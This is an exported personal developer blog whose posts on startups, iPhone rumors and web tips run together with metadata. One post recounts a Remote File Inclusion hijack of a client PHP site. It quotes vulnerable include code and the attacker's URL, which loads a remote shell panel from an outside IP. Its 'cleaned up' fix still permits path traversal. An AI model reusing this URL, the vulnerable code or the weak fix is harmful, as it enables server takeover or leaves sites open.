I've been working on the social shopping of Storenvy for well over a year. It's been our goal to create a completely original shopping experience online while giving away free online stores. We want to make it fun for both shoppers and sellers. So what are you waiting for? "Go sign up!":http://www.storenvy.com/join My Storenvy Profile: "http://www.storenvy.com/NewMonarch":http://www.storenvy.com/NewMonarch 0 true 2009-11-07T15:46:43-08:00 article false 21 true storenvy-launches true 2009-11-07T15:46:43-08:00 2009-11-09T22:06:25-08:00 The Kansas City Royals are having a great season. Especially in light of "recent history":http://en.wikipedia.org/wiki/Kansas_City_Royals#2002.E2.80.932006:_Rock_bottom. One of the fringe benefits of their winning season is the almost constant availability of "cheap turkey sub sandwiches at Planet Sub":http://kansascity.royals.mlb.com/kc/ticketing/ways_to_win.jsp#planetsub. For the uninitiated, Planet Sub offers $2 turkey subs on the day after a Royals win -- home or away. Well, the night of the Royals home opener, I had an idea. The Royals play a lot of games in a season. So when it comes lunch time, it's hard to always know whether the team won the day before. So I spent about an hour and a half in front of my computer and conceived "Two Dollar Turkey":http://www.twodollarturkey.com, aka "http://www.twodollarturkey.com":http://www.twodollarturkey.com. I don't manually update the site. It runs itself. Every day, it just goes and reads yesterday's sports scores and displays whether or not the Royals won -- Yes or No. I hope this feat of technological wonder enhances your world (and your lunch). 0 true 2009-05-28T15:07:12-07:00 article false 20 false two-dollar-turkey true 2009-05-28T15:22:50-07:00 2009-06-18T15:36:21-07:00 Stop following so many RSS feeds. Stop following so many people on Twitter. If you're following over 500 people on Twitter, "_you're doing it wrong_":http://www.slapyo.com/wp-content/wrong01.jpg. The temptation for those of us just venturing out to make our mark on the face of the great abyss know as the Internet is to feel like we need to stay on top of every single trend, technological advancement or piece of news that comes down the wire. *News Flash: You don't.* Once you've got your idea, _stop learning new stuff_. Reduce your info diet to something manageable and ignore everything else. No one ever got rich through information overload. In "my presentation on Web Entrepreneurship":http://joncrawford.com/entries/web-entrepreneurship-presentation-at-kcrug at KCRUG, I mentioned a small handful of links that I think are important for would-be Ruby on Rails startup boostrappers to follow regularly. Along with a few blogs of some friends, these are the only RSS feeds I follow. h4. Ruby * "The RailsEnvy Podcast":http://www.railsenvy.com/ - Entertaining and informative. I always listen when I'm on a jog. * "_A Fresh Cup_ by Mike Gunderloy":http://afreshcup.com - Excellent daily digest of Ruby news. Add to your Mail.app and get a new post every morning when you check your email. * "Rails Inside":http://www.railsinside.com/ * "Rails Tips":http://railstips.org/ * "Alltop - Ruby":http://ruby.alltop.com - Not an RSS feed, but this site skims the top of a all the major Ruby blogs. h4. Non-Ruby * "_Signal vs. Noise_ by 37signals":http://www.37signals.com/svn - My affections for these guys have been waning, but it's still a good resource. * "Seth Godin's Blog":http://sethgodin.typepad.com/ - Read about marketing from the marketing guru himself. * "JonCrawford.com":http://joncrawford.com (Just kidding.) Even with these links, remember to be smart. Read the headlines. If the headline isn't about something that could possibly make you money or help you with your dream project, skip it. You don't need to know everything. In fact, you'll be worse off, if you do. 0 true 2009-05-13T21:58:19-07:00 article true 19 false a-healthy-info-diet true 2009-05-25T10:33:56-07:00 2009-05-25T10:51:17-07:00 I had the privilege of speaking at the Kansas City Ruby User Group last night on the topic of Web Entrepreneurship. For the uninitiated, I work full-time on a web startup called <a href="http://www.storenvy.com">Storenvy</a> of which I am the sole developer and co-owner. I've learned quite a bit over the last year through that process and through getting more involved with the Ruby on Rails community. My presentation is in no way exhaustive, but it does cover four topics that I think are very important for any would-be web entrepreneur to be familiar with before he or she gets started. Here are the video and the slides. <h3>Video (seems to load slow, might need to give it a minute)</h3> <object width="480" height="276"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=4635843&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=dd4499&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=4635843&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=dd4499&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="480" height="276"></embed></object> =more= <h3>Slides</h3> <div style="width:425px;text-align:left" id="__ss_1430378"><a style="font:14px Helvetica,Arial,Sans-serif;display:block;margin:12px 0 3px 0;text-decoration:underline;" href="http://www.slideshare.net/NewMonarch/jon-crawford-entrepreneurship-on-rails?type=powerpoint" title="Jon Crawford: Entrepreneurship on Rails">Jon Crawford: Entrepreneurship on Rails</a><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=joncrawford-webentrepreneurship-090513135721-phpapp01&rel=0&stripped_title=jon-crawford-entrepreneurship-on-rails" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=joncrawford-webentrepreneurship-090513135721-phpapp01&rel=0&stripped_title=jon-crawford-entrepreneurship-on-rails" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object></div> h3. Followup In the coming days and weeks, I'll probably rant on some of these points a bit more. Did you agree or disagree with anything from my talk? Did it raise any other questions? 0 true 2009-05-13T21:39:02-07:00 article true 17 false web-entrepreneurship-presentation-at-kcrug true 2009-05-13T21:57:30-07:00 2009-05-14T08:09:55-07:00 Ok so I haven't updated my blog in like forever. But this had to make it onto the web. I got the following email last night in regards to <a href="http://gpattersonassoc.com">a client website</a> I made over a year ago while I was trying to bootstrap <a href="http//www.storenvy.com">Storenvy</a>. <blockquote><p>Hey there - I had to comb through a bazillion commercial real estate sites in KC tonight and thought my eyes were going to bleed from the bad templates, blinking fonts and animated gif animals.</p> <p>Your site for GPatterson looks fabulous. Thank you for knowing what you are doing and doing it with great style.</p> <p>That's it - random props from a stranger =) <br/>Laura</p> </blockquote> *Big smile!* How about that! Laura felt compelled to open up her email and write to a complete stranger for no reason other than to compliment him on what she perceives is a job well done. That rocks. Thanks, Laura. Great karma, and a great encouragement to do the same thing for the people whose work I am impressed or inspired by. 0 true 2009-05-10T15:27:13-07:00 article true 16 false random-positive-feedback true 2009-05-10T20:18:43-07:00 2009-05-11T10:07:00-07:00 'Nuff said. 0 true 2008-07-11T11:27:50-07:00 article true 14 false small-not-so-small-happy-iphone-day true 2008-07-11T11:28:16-07:00 2009-04-03T15:17:06-07:00 I'm currently developing on the "Amazon Flexible Payment Services":http://www.amazon.com/Flexible-Payments-Service-AWS/b/ref=sc_fe_l_3?ie=UTF8&node=342430011 platform. To simplify the process, I'm using a rubygem created by "Tyler Hunt":http://tylerhunt.com called "Remit":http://protoh.com/projects/remit/. I looked up "Tyler's blog":http://tylerhunt.com to take a look at what he's up to, and the format really struck me. It looks like it's a 3-way mashup of his Del.icio.us, Twitter, and Netflix activity feeds. Simple. To the point. Kind of what I was going for on the front page of this site. Me likey. 0 true 2008-07-07T22:42:36-07:00 article true 12 false great-website-format true 2008-07-07T22:45:29-07:00 2009-04-23T14:22:03-07:00 I haven't been a big fan of Weezer's efforts since Pinkerton, but this definitely deserves a mention. The band's new video for their upcoming album officially contains references to everything I've ever seen on the internet. Definitely worth a check out. <object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/muP9eH2p2PI&hl=en"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/muP9eH2p2PI&hl=en" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object> 0 true 2008-05-23T13:16:10-07:00 article true 11 false new-weezer-video-1 true 2008-05-23T13:16:10-07:00 2009-02-14T22:16:55-08:00 Recently yours truly got interviewed on the radio about Google Apps. I was in the "Kansas City Power and Light District":http://www.powerandlightdistrict.com/ where Google was putting on a Google Apps Roadshow. It's nothing groundbreaking, but it seemed like the Google guys were eating it up. Could this be my big break? "Listen to the interview":http://www.livewithjay.com/?p=37. (It's at the bottom.) 0 true 2008-05-22T08:25:17-07:00 article false 9 false interviewed-about-google true 2008-05-22T08:26:51-07:00 2009-04-25T00:27:22-07:00 Most likely you've been taught to put your javascript <code><script></code> tags in the <code><head></code>. Well, according to the "Yahoo! Exceptional Performance team":http://developer.yahoo.com/performance/, you shouldn't. In fact, "they advocate":http://developer.yahoo.com/performance/rules.html#js_bottom that you should place your javascript <code><script></code> tags at the very bottom of your document--just above the <code></body></code> closing tag. If external javascript files are included in the <code><head></code>, the browser downloads those js files before rendering the rest of the page. Who wants to wait? If you include the scripts at the bottom of your document, the page loads up _then_ fetches the scripts. In most cases, this is desirable. =more= Some cases you wouldn't want to put javascript at the bottom: # You're loading up valuable page content with javascript. # Some inline javascript relies on your external javascript files. # Your boss told you to put them in the <code><head></code> tag. Thanks to "Robert Nyman":http://www.robertnyman.com/2008/04/23/where-to-include-javascript-files-in-a-document/ for the reminder. 0 true 2008-04-24T08:54:29-07:00 article false 8 false put-your-javascripts-at-the-bottom true 2008-04-24T09:07:24-07:00 2009-05-10T18:08:32-07:00 <img src="http://joncrawford.com/system/images/php.gif" class="photoleft" style="background:0;" /> A panicked client of mine contacted me today with concerns about his website. Every few times we would load his company's homepage, it would show an incorrect website. This site had links to p0rn and other subject matter that a fine business would deem unfit to put on the front page of its website. <a href="http://skitch.com/newmonarch/j254/not-the-correct-website" target="_blank">See the page that was being maliciously loaded here</a>. So I got to work hunting down the source of the hijack. =more= With some help from the gurus at "HostGator":http://hostgator.com support, I finally found out how this was happening. The answer: RFI ("Remote File Inclusion") Attack. Most of our small websites we do in PHP. I pass off all of my PHP work to my code monkeys these days. The benefits and sanity that come from Ruby on Rails make it almost impossible for me to even look at PHP without feeling dizzy. The developer for this site unwittingly used a small piece of vulnerable code that basically allowed any hacker to make the website his own personal playground. h3. Vulnerable Code <notextile> <pre lang="php"> #example http://bellchem.com/products.php?page=tech #example http://bellchem.com/products.php?page=nutrition $page = $_GET['page']; include $page . ".php"; </pre> </notextile> What a lot of PHP developers don't know is that the <code>include()</code> function will actually allow you to include even a remote file. So one could write <code>include('http://apple.com'); </code>, for instance, and insert the code from Apple's website into the body of their own site. And to take it even one step further, the function doesn't just include remote content. It also *EXECUTES* the included code. This means that with a hole like this in your code, a hacker could write any PHP script they wanted to and then just include it in your URL and *_your web server will run it!_* And that's exactly what our hacker did. h3. Malicious URL Used By Hacker <pre>http://website.com/products.php?page=http://141.84.238.34/.../cmd?</pre> Upon including "http://141.84.238.34/.../cmd?" at the end of url, it loaded up a simple yet impressive file management panel right in the middle of my beautiful website. <a href="http://skitch.com/newmonarch/j255/malicious-upload-form-exploit" target="_blank">Take a look</a>. It's really quite impressive. As you can see, from here the attacker can completely manipulate the entire filesystem and even execute shell commands on the server. This attacker used this opportunity to redirect to a site of which he or she must've had some interest in the advertising revenue. Well, the password has been changed and the vulnerability has been closed. I'm sure there is more than one way to secure this hole, but here is how I did it. h3. Cleaned Up Version <span class="quiet small">Won't execute remote code</span> <notextile> <pre lang="php"> $page = $_GET['page']; # Checks to see if file even exists locally before loading it. if (file_exists("./$page.php")) include $page.".php"; else echo "There has been a problem."; </pre> </notextile> <span class="small quiet">The full dish: "RFI Attack on Wikipedia":http://en.wikipedia.org/wiki/Remote_File_Inclusion</span> 0 false 2008-04-17T22:20:13-07:00 article false 6 false nasty-php-exploit-rears-its-ugly-head-rfi-attack true 2008-04-17T23:50:29-07:00 2009-12-15T11:38:51-08:00 Lately the internets have been aflutter with rumors and speculations pertaining to the next <strike>r</strike>evolution of the iPhone. Since the <abbr title="Software Development Kit">SDK</abbr> was announced, developers have been noting that the current capabilities of the hardware would have to significantly improve in order to fully maximize the device's potential. =more= It has already been announced that a pretty big update to the iPhone software will be released in June. This update will allow iPhone owners to buy new software for the iPhone directly through the iPhone and through iTunes. Many have speculated that with this update will come a shiny new version of the iPhone itself. I'm one of those speculators. Here are the rumors I believe to be true <span class="small quiet">(or at least the ones I think should be)</span>: # *3G network support-* The 3G network is AT&T's faster data network. The iPhone currently uses AT&T's EDGE network. The EDGE network transfers at about 75-135 Kbps. That's about twice as fast as dialup. But the 3G network transfers at 400-700 Kbps which is about *ten times* the speed of dialup. The technology for the 3G network was available when the first iPhone came out but the 3G causes a greater strain on battery life. Therefore they must've improved the battery as well. # *GPS support-* Another technology that has gotten rumor-mongers rumoring and technology-futurists futurizing is "Yahoo's Fire Eagle":http://fireeagle.yahoo.net/ geo-location service. In Yahoo's idea of the future, people will want to broadcast their exact whereabouts at all times and receive information and collaborate online with their friends based on the places that they go when they are not near their computer. They are creating a platform to facilitate this. This is an indicator to me that location-aware devices and software are going to receive more and more attention as things progress. That coupled with the fact that the first question 50% of people asked me after I got my iPhone was "Does it have GPS? Why not?" Incidentally, the other half asked "How can you stand to look at yourself in the mirror after paying that much for a phone?" # *Video Chat-* According to the video below from "Diggnation":http://revision3.com/diggnation/, the next iPhone will have a camera facing you when you talk so you can do mobile video chat. This is definitely the type of thing Apple would include given how much effort they've put into improving the video chat experience in Leopard. # *Bluetooth Modem-* This is a feature that they could easily add if they wanted to. They'd basically just have to turn it on. For the uninitiated, this means connecting your laptop wirelessly via Bluetooth to your iPhone and then using the iPhone's internet connection to browse the web on your laptop computer--from anywhere. The current iPhone does not allow you to do this. Most phones with Bluetooth posses the ability to perform this function. In fact, I had a Verizon phone 3 years ago that let me do this. But wireless providers have wised up and have locked down this feature in most phones because they want you to have to pay for a wireless card and a separate monthly service for mobile data access on a laptop. Trying to control consumers' freedom like this is always a losing battle, and I an see Apple convincing AT&T to just include this functionality in the iPhone data plan. That wraps it up for my four predictions. Do you agree? What would you add to the list? I'm sure Janette can't wait to receive her hand-me-down 1st Gen iPhone in June. ;-) <object width="425" height="373"><param name="movie" value="http://www.youtube.com/v/uQ6JEs5swKg&hl=en&rel=0&color1=0x3a3a3a&color2=0x999999&border=1"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/uQ6JEs5swKg&hl=en&rel=0&color1=0x3a3a3a&color2=0x999999&border=1" type="application/x-shockwave-flash" wmode="transparent" width="425" height="373"></embed></object> 0 true 2008-04-16T16:22:18-07:00 article false 5 false my-iphone-2-0-predictions true 2008-04-16T21:37:06-07:00 2009-04-26T18:00:04-07:00 There I was, minding my own business doing our taxes, when out of nowhere I get a text message, email, and Twitterific notice. I've been singled-out, selected, _chosen_ by a someone or something from atop that Mount Olympus we call Corporate. H&amp;R Block sent me an @tweet. For those of you who don't know about Twitter, "wise up":http://twitter.com/faq. =more= I'd sent "a message":http://twitter.com/NewMonarch/statuses/787931781 earlier complaining about taxes. And someone there at H&amp;R Block must be Twitter-tracking the term "taxes" and replying to any mentions. That's actually a pretty incredible concept for business. These types of interactions (company talking to consumer) never really made sense on a blog. If a company commented to a blog post on my own website, this would be pretty inappropriate. It would be blatant advertising and _on my own website!_ But Twitter is more democratic. On a blog you have predominantly out-flowing information. Someone like me is dishing out thoughts while readers listen and may provide some feedback on said thoughts. But overall it's very top-down. On Twitter, everyone is there to both give and receive. You're sharing thoughts, links, and activities while reading others' thoughts, links, and activities. So it's not stepping on my turf for H&amp;R Block to send me a quick message offering their services in my moment of need. Heck, I kinda like it. 0 true 2008-04-12T14:12:37-07:00 article false 4 true h-amp-r-block-tweeted-me true 2008-04-12T15:02:39-07:00 2009-04-26T17:58:24-07:00 After being online for only a few short days, I started to really hate the design of this website. It was too dark or something. I wanted it to feel more open and easy-going and it just plain didn't. I promised to stop messing with it for a while now though. I also added "Gravatar":http://gravatar.com integration for comments. A Gravatar is a "globally recognizable avatar". It's a central server for avatars. My website calls out to the Gravatar server and looks a commenter up by their email address. If they've registered with Gravatar, their photo will be returned and placed neatly next to their comment. If they haven't registered they'll get an ugly Gravatar logo next to their comment. Neat, huh? Registering is easy and fast, and more and more sites are starting to use the service. So "go register":http://en.gravatar.com/. =more= Plugging Gravatar into Rails was unbelievably simple. I just grabbed the "Gravatar plugin":http://gravatarplugin.rubyforge.org. And wrote this line where the picture should go:<pre> <%= gravatar_for comment.email %> </pre> and BLAM. Hello Gravatar! h3. Features still to add to site: * Syntax highlighting for code. * Different formatting for different entry types. (Posts, Quotes, Links) * Some kind of unnecessary javascript effect to impress site-comers. 0 true 2008-04-11T09:29:25-07:00 article false 3 false design-changed-gravatars-added true 2008-04-11T13:52:19-07:00 2009-05-08T07:47:46-07:00 I'm trying to name a social online merch application geared toward bands and clothing companies. The project has been nameless for going on 3 months now. Here is a list of some reject names. They were rejected because either (a.) the urls are taken or (b.) the name is too dumb to ever speak aloud ever again. Enjoy. =more= # iMerch # Merchasaurus # Merchasaurus Rex # Merch Robot # Shopasaurus # Shopasaurus Rex # Storganic # Storganism # Bandana # Magna Carta # Merchenary # Merchinary # Merch Monster # Storable # StoreBus (like "tour bus") # Store Engine # Storegasm (had to try) # Storrr # SolidState # SolidStores # ... h3. Updated! # Storecaster # Shoperator # Storator / Storater # MindTheStore 0 true 2008-04-08T23:48:19-07:00 article false 2 false the-name-game true 2008-04-11T12:08:16-07:00 2009-02-07T10:21:15-08:00